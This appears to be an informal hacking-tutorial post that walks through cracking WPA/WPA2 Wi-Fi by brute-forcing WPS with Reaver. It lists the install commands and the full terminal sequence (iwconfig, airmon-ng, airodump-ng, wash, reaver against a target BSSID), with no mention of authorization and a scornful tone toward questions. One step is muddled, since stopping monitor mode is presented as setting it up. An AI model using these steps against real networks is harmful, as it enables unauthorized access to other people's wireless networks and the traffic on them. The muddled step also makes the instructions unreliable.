So you want to attack a WPA2/WPA based wifi? lool ok, i will let you go ahead ...its not easy actually not a directly known attack exists, WEP on the other hand ahem too easy, anyway here is the funny bit, sit back relax and lets do one of the simplest way.
Tools>>Prerequisite:
Backtrack 5R3 ---- Kali Linux
Reaver
(if you on a debian based system do a quick install by)
apt-get update
apt-get install reaver
done
now how reaver works..... (yes the boring details --- ihate making script-kiddies worst i hate noobs who wont try and find out what is happening) so here is the source and link to how it works... alright? we are going to be attacking [Wifi Protected Setup (WPS)] via brute force.
so ahem.
open terminal (no stop asking me about the GUI--- you wanna hack at least learn the terminal)
ok: on terminal do :) ___
iwconfig
listing the wireless interfaces available
mine is wlan0
airmon-ng
checks monitor status
airmon-ng stop [your interface] [My is wlan0]
stop monitor status
airodump-ng [your interface] [My is wlan0]
packet capturing
Open new terminal:
wash -i [your interface] [My is wlan0] -c CHANNEL_NUM -C -s
this checks if the WiFi we are attacking is WPS enabled
Open new terminal:
reaver -i [your interface] [My is wlan0] -b [BSSID] --fail-wait=360
and finally FATALITY :)
if all plays according to plan ... you may win 97.2% of the times i go through... if not ahem more sophisticated attacks exist.
oww and yes sometimes some applications like network manager affect the result, so kill 'em before starting and sometimes they don, tools depend on your configuration so stop asking me if they worked on my side THEY DID . :)
VX out
